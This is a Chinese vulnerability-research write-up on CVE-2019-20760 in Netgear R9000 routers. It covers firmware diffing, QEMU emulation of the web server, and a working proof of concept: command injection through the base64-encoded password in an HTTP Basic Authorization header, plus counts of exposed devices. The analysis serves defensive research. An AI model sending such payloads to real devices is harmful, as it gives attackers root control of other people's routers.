危害被低估的Netgear认证前漏洞CVE-2019-20760分析
2021-02-01 20:50:02 Author: xz.aliyun.com(查看原文) 阅读量:266 收藏

概述

Netgear R9000设备2019年爆出认证绕过漏洞CVE-2019-20760,题目之所以说这个漏洞远被低估,主要以下两个原因:

  • 实际漏洞危害较大,公开信息仅显示该漏洞为一个认证绕过漏洞,没有具体漏洞信息或者POC,但是经过分析,发现该漏洞其实是一个认证前的注入漏洞,攻击者只需要知道设备ip便可以获取设备的最高控制权
  • 影响范围广,另外在测试中发现R78001.0.2.62版本;R75001.0.3.46版本等也受此漏洞影响,简单推测影响范围应该还有其它多款系列型号;
  • 影响数量大,据fofa检索,暴露在公网的设备中R9000数量大概有5000台,R7800大概有15000台,而且还不算其它可能受影响的型号数量,而且由于官方信息只是说明为认证绕过漏洞,猜测也并没有引起广泛注意而更新固件。

由于该漏洞公告只有大概信息,下文记录针对R9000型号的该漏洞分析定位调试的过程。

漏洞点分析

根据漏洞公告信息,Netgear R9000设备1.0.4.26版本前存在认证绕过漏洞,但是并没有详细说明漏洞点位置,尝试根据公告信息结合二进制比对查找漏洞点。

固件下载及解析

通过以下地址可以下载存在漏洞版本固件以及修复版本固件

漏洞版本固件下载链接

修复版本固件下载链接

两固件均通过binwalk可常规解压获得文件系统

查找web处理程序

通过查找Referer字符串来确定一下web处理程序

$ grep -r "Referer"
Binary file usr/bin/curl matches
Binary file usr/sbin/wget matches
Binary file usr/sbin/uhttpd matches
Binary file usr/lib/libcurl.so.4.3.0 matches
Binary file bin/fbwifi matches
Binary file bin/ookla matches
Binary file iQoS/R9000/TM/data_colld matches
Binary file iQoS/R8900/TM/data_colld matches

通过命名即可判断web处理的二进制应该是uhttpd

二进制比对

使用diaphora来进行二进制比对操作。

diaphora使用非常简单,首先使用IDA打开漏洞版本1.04.26版本文件系统中的uhttpd,选择File--Script file...--diaphora.py,在弹出框中点击OK,然后再使用IDA打开修复版本1.04.28版本文件系统中的uhttpd,同样方法打开diaphora,在弹出框中的SQLite database to diff against中选择1.04.26版本的uhttpd生成的sqlite文件,再点击OK即可开始比对,稍等片刻,便会出现比对结果。

可以查看Partial matches,其中login_type函数进入后除了命名没有太多改变,所以主要查看uh_cgi_auth_check,选中这个函数后点击右键——Diff Pseudo-code,可以在反编译代码的层面上查看差异点,左边是修复版本,右边是漏洞版本:

可以看出修复版本使用了dni_system,而漏洞版本snprintf后直接传入system执行,猜测漏洞点位于此处。

尝试使用IDA打开漏洞版本的uhttpduh_cgi_auth_check函数:

直观审计起来不是很好看,包括函数的参数是什么也都不太清楚,这里采用一个比较懒的方法,我尝试找到了对应的源码:

源码下载地址

源码对应位置并没有相应的system函数,猜测是官方故意做了一些隐藏,但是可以借由源码恢复出来很多结构信息。

具体操作可以参考cve-2018-5767 Tenda AC15 栈溢出漏洞调试比较简单,这里不再赘述。

定位漏洞点

在漏洞版本中,恢复完符号表以后可以清楚的看出,数据包头中的AuthorizationBasic后数据经过base64解码后,其中:后边的password参数会被传入snprintf,然后调用system来执行,造成漏洞。

前文已经说明,在修复版本中,没有直接调用system,换成了dni_system,查看一下dni_system;

可以看出,dni_system采用了execve来执行命令,只有参数可控,是无法做到RCE之类的危害的。

漏洞复现

web模拟

查看etc/init.d/uhttpd

cat ./etc/init.d/uhttpd
 ......
 start() {
        #config_load uhttpd
        #config_foreach start_instance uhttpd

        #mkdir /tmp/www
        #cp -rf /usr/www/* /tmp/www

        /www/cgi-bin/uhttpd.sh start
        inetd
        detplc
    #for bug58012
    touch /tmp/fwcheck_status
}
.....

可以看到启动uhttpd使用了/www/cgi-bin/uhttpd.sh这个脚本

查看这个脚本:

╰─$ cat ./www/cgi-bin/uhttpd.sh
#!/bin/sh

REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"


uhttpd_stop()
{
        kill -9 $(pidof uhttpd)
}

uhttpd_start()
{
        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}

case "$1" in
        stop)
                uhttpd_stop
        ;;
        start)
                uhttpd_start
        ;;
        restart)
                uhttpd_stop
                uhttpd_start
        ;;
        *)
                logger -- "usage: $0 start|stop|restart"
        ;;
esac

其中-C /etc/uhttpd.crt -K /etc/uhttpd.key -s我们都可以省略掉,忽略https即可,REALM参数可以直接获得:

$ cat ./module_name                                                                                                         130 ↵
R9000

然后即可获得uhttpd的启动命令:

/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

使用file查看指令架构:

$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header

使用qemu-system打开armhf虚拟机,此步骤在IOT环境搭建–如何使用qemu运行各种指令架构程序中有详细步骤,此处不再赘述

将文件系统拷贝进armhf虚拟机中,运行以下命令:

chroot . /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

没有报错,查看端口情况:

$ netstat -antp | grep uhttpd
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      2425/uhttpd
tcp6       0      0 :::80                   :::*                    LISTEN      2425/uhttpd

可以看到80端口已经启动起来了,模拟成功

构造攻击数据包

在浏览器中访问http://<device_ip>/cgi-bin/,可以弹出登录框:

使用admin@admin账户登陆抓包如下:

GET /cgi-bin/ HTTP/1.1
Host: <your ip>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

尝试构造POC,

$ echo 'admin:`touch /abcd`' | base64
YWRtaW46YHRvdWNoIC9hYmNkYAo=

构造数据包

GET /cgi-bin/ HTTP/1.1
Host: <Your IP>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YHRvdWNoIC9hYmNkYAo=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

发送数据包后查看文件系统

root@debian-armhf:~/squashfs-root# ls
abcd  bin  cloud_version  default_language_version  dev  etc  firmware_region  firmware_time  firmware_version  hardware_version  home  hw_id  iQoS  lib  mnt  module_name  overlay  proc  rom  root  sbin  sys  tmp  usr  var  www

可以发现abcd这个文件已经被创建,攻击成功。

总结

本漏洞NVD的评分是8.8,然而对于这种认证前的RCE漏洞,个人认为评分是低了,知道设备的ip信息,便可以获取该设备最高控制权,该漏洞危害性还是比较大的。而且在测试中,发现该漏洞影响的设备型号也并不止R9000这一款。

IoT漏洞分析中,认证流程分析是必不可少的一环,直接在认证过程中就将用户输入没有做任何校验直接传入system,漏洞还是很明显也比较简单。

另外,通过二进制比对方法来找1day漏洞,也是一种比较简洁取巧的方法。

参考:

[1] CVE-2019-20760

[2] cve-2018-5767 Tenda AC15 栈溢出漏洞调试

[3] IOT环境搭建–如何使用qemu运行各种指令架构程序

[4] fofa网络资产测绘


文章来源: http://xz.aliyun.com/t/9125
如有侵权请联系:admin#unsafe.sh